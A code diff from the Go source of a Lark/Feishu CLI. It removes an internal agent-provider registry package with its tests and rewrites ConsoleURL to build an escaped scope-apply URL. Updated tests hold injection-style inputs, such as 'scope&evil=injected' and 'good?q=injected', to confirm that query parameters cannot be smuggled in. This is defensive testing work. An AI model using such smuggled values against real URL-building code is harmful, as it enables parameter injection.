-// constructed via a factory. Exactly one of Catalog / Instance is set (Register
-// enforces), which encodes the kind, so there is no separate Kind field to keep
-// in sync.
-type Provider struct {
-	Scheme         string         // ref prefix, e.g. "example"
-	Label          string         // `agent list` LABEL column
-	AgentIDSource  string         // where to get an agent_id (AI onboarding cue)
-	RequiredScopes []string       // flat set; preflight is all-or-nothing
-	Identities     []IdentitySpec // non-empty; Type ∈ {user,bot}
-
-	// Exactly one of these is set:
-	Catalog  []AgentSpec // finite, offline-enumerable set (kind = catalog)
-	Instance *AgentSpec  // single template for any runtime agent_id (kind = instance)
-
-	// ListAgents is the optional ONLINE enumeration hook — only meaningful for an
-	// instance provider whose platform has a "list my agents" endpoint. Wired ⇒
-	// `agent list <scheme>` enumerates via this call. A catalog provider leaves it
-	// nil (enumeration is derived offline from Catalog); an instance platform with
-	// only get-by-id and no list endpoint also leaves it nil (not enumerable).
-	// This is independent of AgentSpec.Describe: ListAgents = "which agents exist"
-	// (a list endpoint), Describe = "what one agent looks like" (get-by-id).
-	ListAgents func(ctx context.Context, rt Runtime) ([]AgentSummary, error)
-}
-
-// AgentSpec is the declarative unit for one agent: card metadata plus the verb
-// hooks it implements. Capability is derived from which hooks are non-nil
-// ("implement it = support it", see DeriveCapabilities), so the card and the
-// behavior are single-sourced and cannot drift.
-//
-//   - Catalog: each predefined agent is its own AgentSpec with its own wired
-//     hooks — two agents honestly differ in capability with zero bool matrix and
-//     zero per-id branching.
-//   - Instance: ONE template applied to every runtime agent_id; hooks read
-//     rt.AgentID() to know which agent they serve.
-type AgentSpec struct {
-	ID string // catalog: required + unique; instance: MUST be empty
-
-	// Per-agent card metadata (static, read offline).
-	Name        string
-	Description string
-	Parameters  []CardParam
-	Skills      []CardSkill
-
-	// Behavioral flags with no backing hook (the only capability bits not derived
-	// from a hook).
-	FileInput     bool
-	InputRequired bool
-
-	// Core (Register asserts both non-nil for every spec).
-	Send    func(ctx context.Context, rt Runtime, in SendInput) (*AgentTask, error)
-	GetTask func(ctx context.Context, rt Runtime, taskID string) (*AgentTask, error)
-
-	// Optional capability hooks (nil = unsupported; the framework gates on the nil
-	// field and returns a unified unsupported_capability before any network call,
-	// and derives the card matrix from which of these are wired).
-	ListTasks        func(ctx context.Context, rt Runtime, contextID string) ([]TaskSummary, error)
-	CancelTask       func(ctx context.Context, rt Runtime, taskID string) error
-	ListContexts     func(ctx context.Context, rt Runtime) ([]ContextSummary, error)
-	GetContext       func(ctx context.Context, rt Runtime, ctxID string) (*ContextDetail, error)
-	DeleteContext    func(ctx context.Context, rt Runtime, ctxID string) error
-	DownloadArtifact func(ctx context.Context, rt Runtime, taskID, artifactID string) (*ArtifactData, error)
-
-	// Describe optionally supplies per-agent Card metadata (Name/Description/
-	// Parameters/Skills) and is the place to validate an unknown agent_id (return
-	// a typed error). It is invoked ONLY when a runtime is available (configured),
-	// so offline the card is always caps + registration metadata + the static
-	// fields above. A catalog spec typically leaves it nil and uses the static
-	// Name/Description; an instance provider wires it to fetch its card remotely.
-	Describe func(ctx context.Context, rt Runtime) (*CardInfo, error)
-}

internal/agent/ref.go

@@ -1,29 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"errors"
-	"strings"
-)
-
-// ErrInvalidRef is the sentinel error for a malformed agent_ref (wrapped into a
-// validation error by the caller).
-var ErrInvalidRef = errors.New("agent_ref 格式应为 <provider>:<agent_id>")
-
-// Ref is the identifier addressing a remote agent: <scheme>:<agent_id>, e.g. example:echo.
-type Ref struct {
-	Scheme  string
-	AgentID string
-}
-
-// ParseRef parses a ref string. On a malformed format it returns ErrInvalidRef
-// (wrapped into a validation error by the caller).
-func ParseRef(s string) (Ref, error) {
-	parts := strings.SplitN(s, ":", 2)
-	if len(parts) != 2 || parts[0] == "" || parts[1] == "" || strings.Contains(parts[1], ":") {
-		return Ref{}, ErrInvalidRef
-	}
-	return Ref{Scheme: parts[0], AgentID: parts[1]}, nil
-}

internal/agent/ref_test.go

@@ -1,24 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"errors"
-	"testing"
-)
-
-func TestParseRef(t *testing.T) {
-	r, err := ParseRef("example:agt_xxx")
-	if err != nil || r.Scheme != "example" || r.AgentID != "agt_xxx" {
-		t.Fatalf("got %+v err=%v", r, err)
-	}
-}
-
-func TestParseRefErrors(t *testing.T) {
-	for _, s := range []string{"", "example", "example:", ":agt", "example:agt:extra"} {
-		if _, err := ParseRef(s); !errors.Is(err, ErrInvalidRef) {
-			t.Errorf("ParseRef(%q) should return ErrInvalidRef, got err=%v", s, err)
-		}
-	}
-}

internal/agent/registry.go

@@ -1,174 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"fmt"
-	"sort"
-	"strings"
-
-	"github.com/larksuite/cli/errs"
-)
-
-// ProviderKind is the closed set of provider forms, derived from whether a
-// Provider set Catalog or Instance (exposed via Provider.Kind()).
-type ProviderKind string
-
-const (
-	// KindCatalog: the full agent set is known offline (Provider.Catalog).
-	KindCatalog ProviderKind = "catalog"
-	// KindInstance: agents are created on the platform at runtime, addressed by an
-	// unbounded agent_id (Provider.Instance).
-	KindInstance ProviderKind = "instance"
-)
-
-var providerRegistry = map[string]Provider{}
-
-// Register records a provider (called from the agent/register.go aggregator,
-// mirroring events/shortcuts). It is pure struct validation — no construction,
-// no probe. Missing / invalid metadata is an integrator coding error and panics
-// fail-fast (aligned with the sql.Register convention, including duplicate
-// registration).
-func Register(p Provider) {
-	switch {
-	case p.Scheme == "":
-		panic("agent: provider registration with empty Scheme")
-	case p.Label == "":
-		panic("agent: provider missing Label: " + p.Scheme)
-	case p.AgentIDSource == "":
-		panic("agent: provider missing AgentIDSource: " + p.Scheme)
-	case len(p.Identities) == 0:
-		panic("agent: provider missing Identities: " + p.Scheme)
-	}
-	if _, dup := providerRegistry[p.Scheme]; dup {
-		panic("agent: Register called twice for scheme: " + p.Scheme)
-	}
-	for _, id := range p.Identities {
-		if id.Type != IdentityUser && id.Type != IdentityBot {
-			panic("agent: provider invalid Identity Type (want user|bot): " + p.Scheme + ", got: " + string(id.Type))
-		}
-	}
-	hasCatalog, hasInstance := len(p.Catalog) > 0, p.Instance != nil
-	if hasCatalog == hasInstance {
-		panic("agent: provider must set exactly one of Catalog / Instance: " + p.Scheme)
-	}
-	if hasCatalog {
-		seen := make(map[string]bool, len(p.Catalog))
-		for i := range p.Catalog {
-			checkSpec(p.Scheme, &p.Catalog[i], true)
-			if seen[p.Catalog[i].ID] {
-				panic("agent: catalog duplicate entry ID for scheme " + p.Scheme + ": " + p.Catalog[i].ID)
-			}
-			seen[p.Catalog[i].ID] = true
-		}
-	} else {
-		checkSpec(p.Scheme, p.Instance, false)
-	}
-	providerRegistry[p.Scheme] = p
-}
-
-// checkSpec asserts the mandatory core hooks and the ID rule for one spec. The
-// command layer dispatches Send/GetTask without a nil-check, so they must exist.
-func checkSpec(scheme string, s *AgentSpec, catalog bool) {
-	if s.Send == nil {
-		panic("agent: spec missing core Send: " + scheme + ":" + s.ID)
-	}
-	if s.GetTask == nil {
-		panic("agent: spec missing core GetTask: " + scheme + ":" + s.ID)
-	}
-	if catalog && s.ID == "" {
-		panic("agent: catalog spec missing ID: " + scheme)
-	}
-	if !catalog && s.ID != "" {
-		panic("agent: instance template must have empty ID: " + scheme + ", got: " + s.ID)
-	}
-}
-
-// Info returns the registered provider for a scheme (ok=false if not registered).
-func Info(scheme string) (Provider, bool) {
-	p, ok := providerRegistry[scheme]
-	return p, ok
-}
-
-// LookupSpec resolves the AgentSpec addressed by ref, fully offline: it parses
-// the ref, finds the provider, and returns the matching spec (the instance
-// template, or the catalog entry whose ID matches) plus the parsed agent_id (so
-// callers need not re-parse for rt.AgentID() / the card). An unknown scheme or
-// unknown catalog id returns a typed error (the command layer promotes
-// ParseRef/scheme errors via wrapRefResolveError; the unknown-id error is
-// already typed).
-func LookupSpec(ref string) (Provider, *AgentSpec, string, error) {
-	r, err := ParseRef(ref)
-	if err != nil {
-		return Provider{}, nil, "", err
-	}
-	p, ok := providerRegistry[r.Scheme]
-	if !ok {
-		return Provider{}, nil, "", fmt.Errorf("未知的 agent provider '%s'，当前支持: %s", r.Scheme, KnownSchemes())
-	}
-	if p.Instance != nil {
-		return p, p.Instance, r.AgentID, nil
-	}
-	for i := range p.Catalog {
-		if p.Catalog[i].ID == r.AgentID {
-			return p, &p.Catalog[i], r.AgentID, nil
-		}
-	}
-	return p, nil, "", errs.NewValidationError(errs.SubtypeInvalidArgument,
-		"未知的 %s agent '%s'", r.Scheme, r.AgentID).
-		WithHint("运行 lark-cli agent list %s 查看可用 agent", r.Scheme)
-}
-
-// Kind reports the provider form derived from Catalog vs Instance.
-func (p Provider) Kind() ProviderKind {
-	if p.Instance != nil {
-		return KindInstance
-	}
-	return KindCatalog
-}
-
-// AgentRefFormat is the written form of an agent_ref for this provider, always
-// "<scheme>:<agent_id>" (derived, not stored).
-func (p Provider) AgentRefFormat() string {
-	return p.Scheme + ":<agent_id>"
-}
-
-// ListCatalog is the offline enumeration for a catalog provider (sorted by
-// AgentRef, stable). An instance provider has no static set and returns nil — the
-// command layer then falls back to the optional ListAgents online hook.
-func (p Provider) ListCatalog() []AgentSummary {
-	if p.Instance != nil {
-		return nil
-	}
-	out := make([]AgentSummary, 0, len(p.Catalog))
-	for _, s := range p.Catalog {
-		out = append(out, AgentSummary{
-			AgentRef:    p.Scheme + ":" + s.ID,
-			Name:        s.Name,
-			Description: s.Description,
-		})
-	}
-	sort.Slice(out, func(i, j int) bool { return out[i].AgentRef < out[j].AgentRef })
-	return out
-}
-
-// KnownSchemes returns a comma-separated list of registered schemes (stably
-// sorted), or "(none)" when empty (reused by cmd/agent's unknown-scheme message).
-func KnownSchemes() string {
-	s := RegisteredSchemes()
-	if len(s) == 0 {
-		return "(none)"
-	}
-	return strings.Join(s, ", ")
-}
-
-// RegisteredSchemes lets `agent list` enumerate registered providers (sorted).
-func RegisteredSchemes() []string {
-	s := make([]string, 0, len(providerRegistry))
-	for k := range providerRegistry {
-		s = append(s, k)
-	}
-	sort.Strings(s)
-	return s
-}

internal/agent/registry_test.go

@@ -1,236 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"errors"
-	"reflect"
-	"strings"
-	"testing"
-)
-
-// swapRegistry replaces the global providerRegistry with the given map (restored
-// via t.Cleanup), for isolation. It swaps without a lock, so no t.Parallel.
-func swapRegistry(t *testing.T, m map[string]Provider) {
-	t.Helper()
-	saved := providerRegistry
-	providerRegistry = m
-	t.Cleanup(func() { providerRegistry = saved })
-}
-
-// coreSpec is a minimal valid spec: it wires the two mandatory core hooks so it
-// passes Register's checkSpec. Callers set extra hooks / ID on the returned value.
-func coreSpec(id string) AgentSpec {
-	return AgentSpec{
-		ID:      id,
-		Send:    func(context.Context, Runtime, SendInput) (*AgentTask, error) { return nil, nil },
-		GetTask: func(context.Context, Runtime, string) (*AgentTask, error) { return nil, nil },
-	}
-}
-
-// instanceProvider builds a minimal valid instance Provider for scheme.
-func instanceProvider(scheme string) Provider {
-	s := coreSpec("")
-	return Provider{
-		Scheme:        scheme,
-		Label:         "test provider",
-		AgentIDSource: "test source",
-		Identities:    []IdentitySpec{{Type: IdentityUser}},
-		Instance:      &s,
-	}
-}
-
-// catalogProvider builds a minimal valid catalog Provider for scheme with the
-// given entry ids.
-func catalogProvider(scheme string, ids ...string) Provider {
-	specs := make([]AgentSpec, 0, len(ids))
-	for _, id := range ids {
-		s := coreSpec(id)
-		s.Name = "name-" + id
-		specs = append(specs, s)
-	}
-	return Provider{
-		Scheme:        scheme,
-		Label:         "test provider",
-		AgentIDSource: "test source",
-		Identities:    []IdentitySpec{{Type: IdentityUser}},
-		Catalog:       specs,
-	}
-}
-
-// mustPanic asserts that fn panics and the message contains wantMsg.
-func mustPanic(t *testing.T, wantMsg string, fn func()) {
-	t.Helper()
-	defer func() {
-		r := recover()
-		if r == nil {
-			t.Fatalf("should panic (want message containing %q)", wantMsg)
-		}
-		msg, _ := r.(string)
-		if !strings.Contains(msg, wantMsg) {
-			t.Fatalf("panic message should contain %q, got %q", wantMsg, msg)
-		}
-	}()
-	fn()
-}
-
-// TestRegisterPanicBranches table-drives the Register fail-fast branches.
-func TestRegisterPanicBranches(t *testing.T) {
-	cases := []struct {
-		name    string
-		mutate  func(p *Provider)
-		wantMsg string
-	}{
-		{"empty Scheme", func(p *Provider) { p.Scheme = "" }, "empty Scheme"},
-		{"missing Label", func(p *Provider) { p.Label = "" }, "missing Label"},
-		{"missing AgentIDSource", func(p *Provider) { p.AgentIDSource = "" }, "missing AgentIDSource"},
-		{"missing Identities", func(p *Provider) { p.Identities = nil }, "missing Identities"},
-		{"invalid Identity Type", func(p *Provider) { p.Identities = []IdentitySpec{{Type: "robot"}} }, "got: robot"},
-		{"neither Catalog nor Instance", func(p *Provider) { p.Instance = nil }, "exactly one of Catalog / Instance"},
-		{"both Catalog and Instance", func(p *Provider) { p.Catalog = catalogProvider("x", "a").Catalog }, "exactly one of Catalog / Instance"},
-		{"instance template with ID", func(p *Provider) { p.Instance.ID = "oops" }, "instance template must have empty ID"},
-		{"missing core Send", func(p *Provider) { p.Instance.Send = nil }, "missing core Send"},
-		{"missing core GetTask", func(p *Provider) { p.Instance.GetTask = nil }, "missing core GetTask"},
-	}
-	for _, tc := range cases {
-		t.Run(tc.name, func(t *testing.T) {
-			swapRegistry(t, map[string]Provider{})
-			p := instanceProvider("bad")
-			tc.mutate(&p)
-			mustPanic(t, tc.wantMsg, func() { Register(p) })
-		})
-	}
-}
-
-// TestRegisterCatalogIDPanics pins the catalog-specific ID rules.
-func TestRegisterCatalogIDPanics(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	missingID := catalogProvider("cat", "")
-	mustPanic(t, "catalog spec missing ID", func() { Register(missingID) })
-
-	swapRegistry(t, map[string]Provider{})
-	dup := catalogProvider("cat", "a", "a")
-	mustPanic(t, "duplicate entry ID", func() { Register(dup) })
-}
-
-func TestRegisterDuplicateScheme(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	Register(instanceProvider("dup"))
-	mustPanic(t, "called twice for scheme: dup", func() { Register(instanceProvider("dup")) })
-}
-
-func TestInfoReturnsRegisteredProvider(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	p := instanceProvider("t1")
-	p.RequiredScopes = []string{"t1:chat:write"}
-	Register(p)
-	got, ok := Info("t1")
-	if !ok || got.Label != "test provider" || got.Kind() != KindInstance {
-		t.Fatalf("Info(t1) = %+v, %v", got, ok)
-	}
-	if _, ok := Info("nonexistent"); ok {
-		t.Fatal("Info(nonexistent) should return ok=false")
-	}
-}
-
-func TestKindAndAgentRefFormat(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	inst := instanceProvider("inst")
-	cat := catalogProvider("cat", "a")
-	if inst.Kind() != KindInstance {
-		t.Errorf("instance provider Kind should be instance, got %q", inst.Kind())
-	}
-	if cat.Kind() != KindCatalog {
-		t.Errorf("catalog provider Kind should be catalog, got %q", cat.Kind())
-	}
-	if got := inst.AgentRefFormat(); got != "inst:<agent_id>" {
-		t.Errorf("AgentRefFormat should be inst:<agent_id>, got %q", got)
-	}
-}
-
-func TestListCatalog(t *testing.T) {
-	// Catalog: sorted by AgentRef, stable, instance returns nil.
-	cat := catalogProvider("cat", "zeta", "alpha")
-	got := cat.ListCatalog()
-	if len(got) != 2 || got[0].AgentRef != "cat:alpha" || got[1].AgentRef != "cat:zeta" {
-		t.Fatalf("ListCatalog should be sorted by AgentRef, got %+v", got)
-	}
-	if instanceProvider("inst").ListCatalog() != nil {
-		t.Error("instance ListCatalog should be nil")
-	}
-}
-
-func TestKnownSchemesEmpty(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	if got := KnownSchemes(); got != "(none)" {
-		t.Fatalf("an empty registry should return \"(none)\", got %q", got)
-	}
-}
-
-func TestRegisteredSchemesSorted(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	Register(instanceProvider("gamma"))
-	Register(instanceProvider("alpha"))
-	Register(instanceProvider("beta"))
-	got := RegisteredSchemes()
-	want := []string{"alpha", "beta", "gamma"}
-	if !reflect.DeepEqual(got, want) {
-		t.Fatalf("RegisteredSchemes should enumerate and sort, want %v got %v", want, got)
-	}
-	if s := KnownSchemes(); s != "alpha, beta, gamma" {
-		t.Fatalf("knownSchemes should be comma-joined, got %q", s)
-	}
-}
-
-func TestLookupSpecInvalidRef(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	_, _, _, err := LookupSpec("no-colon")
-	if !errors.Is(err, ErrInvalidRef) {
-		t.Fatalf("an invalid ref should propagate ErrInvalidRef, got %v", err)
-	}
-}
-
-func TestLookupSpecUnknownScheme(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	_, _, _, err := LookupSpec("nosuch:agt_x")
-	if err == nil {
-		t.Fatal("an unregistered scheme should return an error")
-	}
-	if errors.Is(err, ErrInvalidRef) {
-		t.Fatalf("an unregistered scheme should not be ErrInvalidRef, got %v", err)
-	}
-}
-
-func TestLookupSpecInstance(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	Register(instanceProvider("demo"))
-	prov, spec, agentID, err := LookupSpec("demo:agt_42")
-	if err != nil {
-		t.Fatalf("a valid instance ref should succeed, got %v", err)
-	}
-	if prov.Scheme != "demo" || spec == nil || spec.Send == nil {
-		t.Fatalf("should return the instance template, got prov=%+v spec=%v", prov, spec)
-	}
-	if agentID != "agt_42" {
-		t.Fatalf("should echo the parsed agentID, got %q", agentID)
-	}
-}
-
-func TestLookupSpecCatalog(t *testing.T) {
-	swapRegistry(t, map[string]Provider{})
-	Register(catalogProvider("cat", "alpha", "beta"))
-	_, spec, agentID, err := LookupSpec("cat:beta")
-	if err != nil {
-		t.Fatalf("a known catalog id should succeed, got %v", err)
-	}
-	if spec == nil || spec.ID != "beta" || agentID != "beta" {
-		t.Fatalf("should return the matching catalog entry, got %+v (id %q)", spec, agentID)
-	}
-	// Unknown id → typed validation error.
-	_, _, _, err = LookupSpec("cat:nope")
-	if err == nil {
-		t.Fatal("an unknown catalog id should return an error")
-	}
-}

internal/agent/runtime.go

@@ -1,99 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import (
-	"context"
-	"encoding/json"
-
-	"github.com/larksuite/cli/errs"
-)
-
-// Runtime is the only thing a verb hook touches for I/O. It is the agent
-// analogue of the event/shortcut runtime: the framework has already resolved and
-// PINNED the calling identity (user|bot) inside it, so a hook never sees a raw
-// *client.APIClient, never resolves a token, and cannot bypass scope preflight.
-// The concrete implementation lives in cmd/agent (like event's consumeRuntime in
-// cmd/event), which is why internal/agent no longer needs to depend on
-// internal/client — the sole reason the old Deps struct existed.
-type Runtime interface {
-	// AgentID is the agent this call addresses (parsed from the ref by the
-	// framework). A catalog hook may ignore it; an instance template reads it to
-	// know which runtime agent it serves. Request data, not plumbing.
-	AgentID() string
-
-	// IsBot reports the resolved identity kind for the rare hook that must branch
-	// on it. Identity resolution itself stays hidden.
-	IsBot() bool
-
-	// CallAPI issues one JSON OAPI request under the pinned identity and returns
-	// the raw "data" object (the response envelope's data field, already unwrapped
-	// and error-checked) or a typed errs.* error — a hook never does envelope
-	// unwrapping, identity threading, or error classification. Hooks do not use
-	// this directly; they call the typed Call[T] helper below, which decodes the
-	// raw bytes into a struct. query values are strings (page_token, *_id_type, …).
-	CallAPI(ctx context.Context, method, path string, query map[string]string, body any) (json.RawMessage, error)
-
-	// CallMultipart is the file-upload seam: it reproduces the multipart form
-	// upload a real provider would otherwise hand-write (larkcore.NewFormdata +
-	// WithFileUpload), but centralized and identity-opaque. The framework
-	// SafeInputPath-validates and opens each FilePart.Path, builds the multipart
-	// body, pins the identity, and returns the raw "data" object (decode it with
-	// the typed CallUpload[T] helper below). This is what makes the FileInput
-	// capability actually deliverable — without it a provider declaring
-	// FileInput=true but with only a JSON client would silently drop SendInput.Files.
-	CallMultipart(ctx context.Context, method, path string, fields map[string]string, files []FilePart) (json.RawMessage, error)
-}
-
-// Call issues a JSON OAPI request under rt's pinned identity and decodes the
-// response "data" object into T. This is the typed entry point a verb hook uses
-// instead of poking at a map[string]any: declare the response struct you expect
-// and let the framework unmarshal and classify errors. For a genuinely dynamic
-// shape, use Call[map[string]any]. A response with no "data" (e.g. a pure write)
-// yields the zero value of T and a nil error.
-//
-//	type chat struct{ SessionID, AgentChatID string }
-//	c, err := agent.Call[chat](ctx, rt, "POST", path, nil, body)
-func Call[T any](ctx context.Context, rt Runtime, method, path string, query map[string]string, body any) (T, error) {
-	raw, err := rt.CallAPI(ctx, method, path, query, body)
-	if err != nil {
-		var zero T
-		return zero, err
-	}
-	return decodeData[T](method, path, raw)
-}
-
-// CallUpload is the multipart (file-upload) variant of Call: it uploads files
-// and decodes the response "data" object into T.
-func CallUpload[T any](ctx context.Context, rt Runtime, method, path string, fields map[string]string, files []FilePart) (T, error) {
-	raw, err := rt.CallMultipart(ctx, method, path, fields, files)
-	if err != nil {
-		var zero T
-		return zero, err
-	}
-	return decodeData[T](method, path, raw)
-}
-
-// decodeData unmarshals a raw "data" object into T, classifying a decode failure
-// as a typed invalid_response error (consistent with the runtime's own error
-// handling). Empty raw ⇒ zero value, nil error.
-func decodeData[T any](method, path string, raw json.RawMessage) (T, error) {
-	var out T
-	if len(raw) == 0 {
-		return out, nil
-	}
-	if err := json.Unmarshal(raw, &out); err != nil {
-		return out, errs.NewInternalError(errs.SubtypeInvalidResponse,
-			"decode data for %s %s: %v", method, path, err).WithCause(err)
-	}
-	return out, nil
-}
-
-// FilePart is one file to upload. Path comes straight from SendInput.Files and is
-// SafeInputPath-validated by the runtime (the security check stays framework-
-// owned, not re-implemented per provider).
-type FilePart struct {
-	Field string // multipart field name, e.g. "file"
-	Path  string // local path (framework validates + opens)
-}

internal/agent/spi.go

@@ -1,26 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// IdentityType is the closed set of values for IdentitySpec.Type (validated at
-// Register time to guard against typos).
-type IdentityType string
-
-const (
-	IdentityUser IdentityType = "user"
-	IdentityBot  IdentityType = "bot"
-)
-
-// IdentitySpec declares a supported identity and its precondition, if any.
-type IdentitySpec struct {
-	Type         IdentityType `json:"type"` // IdentityUser | IdentityBot
-	Precondition string       `json:"precondition,omitempty"`
-}
-
-// AgentSummary is one discoverable agent in `agent list <scheme>` output.
-type AgentSummary struct {
-	AgentRef    string `json:"agent_ref"`
-	Name        string `json:"name"`
-	Description string `json:"description,omitempty"`
-}

internal/agent/state.go

@@ -1,35 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-// TaskState is the A2A task state, constant across all providers (9 states).
-type TaskState string
-
-const (
-	StateSubmitted     TaskState = "submitted"
-	StateWorking       TaskState = "working"
-	StateInputRequired TaskState = "input_required"
-	StateAuthRequired  TaskState = "auth_required"
-	StateCompleted     TaskState = "completed"
-	StateFailed        TaskState = "failed"
-	StateCanceled      TaskState = "canceled"
-	StateRejected      TaskState = "rejected"
-	StateUnknown       TaskState = "unknown"
-)
-
-// IsTerminal reports whether the task has entered a terminal state.
-func (s TaskState) IsTerminal() bool {
-	switch s {
-	case StateCompleted, StateFailed, StateCanceled, StateRejected:
-		return true
-	default:
-		return false
-	}
-}
-
-// ShouldStopPolling reports whether polling should stop: terminal state, or
-// awaiting additional input / re-authentication.
-func (s TaskState) ShouldStopPolling() bool {
-	return s.IsTerminal() || s == StateInputRequired || s == StateAuthRequired
-}

internal/agent/state_test.go

@@ -1,34 +0,0 @@
-// Copyright (c) 2026 Lark Technologies Pte. Ltd.
-// SPDX-License-Identifier: MIT
-
-package agent
-
-import "testing"
-
-func TestIsTerminal(t *testing.T) {
-	cases := map[TaskState]bool{
-		StateSubmitted: false, StateWorking: false, StateInputRequired: false,
-		StateAuthRequired: false, StateCompleted: true, StateFailed: true,
-		StateCanceled: true, StateRejected: true, StateUnknown: false,
-	}
-	for s, want := range cases {
-		if got := s.IsTerminal(); got != want {
-			t.Errorf("%s.IsTerminal()=%v want %v", s, got, want)
-		}
-	}
-}
-
-func TestShouldStopPolling(t *testing.T) {
-	stop := []TaskState{StateCompleted, StateFailed, StateCanceled, StateRejected, StateInputRequired, StateAuthRequired}
-	cont := []TaskState{StateSubmitted, StateWorking, StateUnknown}
-	for _, s := range stop {
-		if !s.ShouldStopPolling() {
-			t.Errorf("%s should stop polling", s)
-		}
-	}
-	for _, s := range cont {
-		if s.ShouldStopPolling() {
-			t.Errorf("%s should keep polling", s)
-		}
-	}
-}

internal/errclass/classify.go

@@ -10,12 +10,14 @@ import (
 	"strings"
 
 	"github.com/larksuite/cli/errs"
+	"github.com/larksuite/cli/internal/core"
 )
 
 // ClassifyContext is the contextual data BuildAPIError uses to populate
 // identity-aware fields on typed errors (PermissionError.Identity / ConsoleURL).
-// Identity is a plain string ("user" / "bot" / "") so this package does not
-// depend on internal/core (which would create an import cycle).
+// Brand and Identity are plain strings at this boundary; ConsoleURL normalizes
+// Brand through core.ParseBrand, so callers can pass a raw brand string without
+// coupling this contract to core's brand enum.
 type ClassifyContext struct {
 	Brand    string // "feishu" | "lark" — drives console_url host
 	AppID    string // placed in console_url
@@ -444,28 +446,27 @@ func extractMissingScopes(resp map[string]any) []string {
 	return out
 }
 
-// ConsoleURL composes the Feishu/Lark open-platform scope-grant console URL,
-// suitable for PermissionError.ConsoleURL. Empty appID → empty string. Empty
-// scopes list returns the bare /auth landing page; scopes are joined with
-// commas in the `q` query parameter so the console can pre-select them.
+// ConsoleURL composes the Feishu/Lark open-platform application-scope apply
+// page URL (the official open-pages `/page/scope-apply` entry), suitable for
+// PermissionError.ConsoleURL. Empty appID → empty string. Empty scopes list
+// returns the page carrying only clientID; otherwise scopes are joined with
+// commas in the `scopes` query parameter so the console can pre-select them.
 //
 // brand is "feishu" or "lark"; unknown values default to feishu.
 func ConsoleURL(brand, appID string, scopes []string) string {
 	if appID == "" {
 		return ""
 	}
-	host := "open.feishu.cn"
-	if brand == "lark" {
-		host = "open.larksuite.com"
-	}
-	// PathEscape on appID — it sits in the URL path. QueryEscape on the
-	// comma-joined scopes — they sit in the `?q=` value, and untrusted scope
-	// content must not be able to inject extra query parameters via `&`/`#`.
-	pathID := url.PathEscape(appID)
+	// QueryEscape both values — clientID and scopes both sit in the query
+	// string, and untrusted content must not be able to inject extra query
+	// parameters via `&`/`#`. The brand→host mapping is owned by core so the
+	// open-platform base URL stays a single source of truth.
+	base := fmt.Sprintf("%s/page/scope-apply?clientID=%s",
+		core.ResolveOpenBaseURL(core.ParseBrand(brand)), url.QueryEscape(appID))
 	if len(scopes) == 0 {
-		return fmt.Sprintf("https://%s/app/%s/auth", host, pathID)
+		return base
 	}
-	return fmt.Sprintf("https://%s/app/%s/auth?q=%s", host, pathID, url.QueryEscape(strings.Join(scopes, ",")))
+	return base + "&scopes=" + url.QueryEscape(strings.Join(scopes, ","))
 }
 
 func intFromAny(v any) int {

internal/errclass/classify_test.go

@@ -422,8 +422,8 @@ func TestConsoleURL_FeishuBrand(t *testing.T) {
 	if !ok {
 		t.Fatalf("expected *errs.PermissionError, got %T", err)
 	}
-	if !strings.Contains(pe.ConsoleURL, "open.feishu.cn/app/cli_a123") {
-		t.Fatalf("ConsoleURL = %q, want open.feishu.cn prefix", pe.ConsoleURL)
+	if !strings.Contains(pe.ConsoleURL, "open.feishu.cn/page/scope-apply?clientID=cli_a123") {
+		t.Fatalf("ConsoleURL = %q, want open.feishu.cn scope-apply page", pe.ConsoleURL)
 	}
 }
 
@@ -434,8 +434,8 @@ func TestConsoleURL_LarkBrand(t *testing.T) {
 	if !ok {
 		t.Fatalf("expected *errs.PermissionError, got %T", err)
 	}
-	if !strings.Contains(pe.ConsoleURL, "open.larksuite.com/app/cli_a123") {
-		t.Fatalf("ConsoleURL = %q, want open.larksuite.com prefix", pe.ConsoleURL)
+	if !strings.Contains(pe.ConsoleURL, "open.larksuite.com/page/scope-apply?clientID=cli_a123") {
+		t.Fatalf("ConsoleURL = %q, want open.larksuite.com scope-apply page", pe.ConsoleURL)
 	}
 }
 
@@ -485,35 +485,35 @@ func TestConsoleURL_EscapesDangerousChars(t *testing.T) {
 			name:      "ampersand in scope smuggles extra param",
 			appID:     "cli_good",
 			scopes:    []string{"scope&evil=injected"},
-			wantInURL: []string{"q=scope%26evil%3Dinjected"},
-			denyInURL: []string{"q=scope&evil=injected"},
+			wantInURL: []string{"scopes=scope%26evil%3Dinjected"},
+			denyInURL: []string{"scopes=scope&evil=injected"},
 		},
 		{
 			name:      "hash in scope splits fragment",
 			appID:     "cli_good",
 			scopes:    []string{"scope#fragment"},
-			wantInURL: []string{"q=scope%23fragment"},
-			denyInURL: []string{"q=scope#fragment"},
+			wantInURL: []string{"scopes=scope%23fragment"},
+			denyInURL: []string{"scopes=scope#fragment"},
 		},
 		{
 			name:      "question mark in appID prematurely opens query",
 			appID:     "good?q=injected",
 			scopes:    []string{"docx:document"},
-			wantInURL: []string{"/app/good%3Fq=injected/auth"},
-			denyInURL: []string{"/app/good?q=injected/auth"},
+			wantInURL: []string{"clientID=good%3Fq%3Dinjected"},
+			denyInURL: []string{"clientID=good?q=injected"},
 		},
 		{
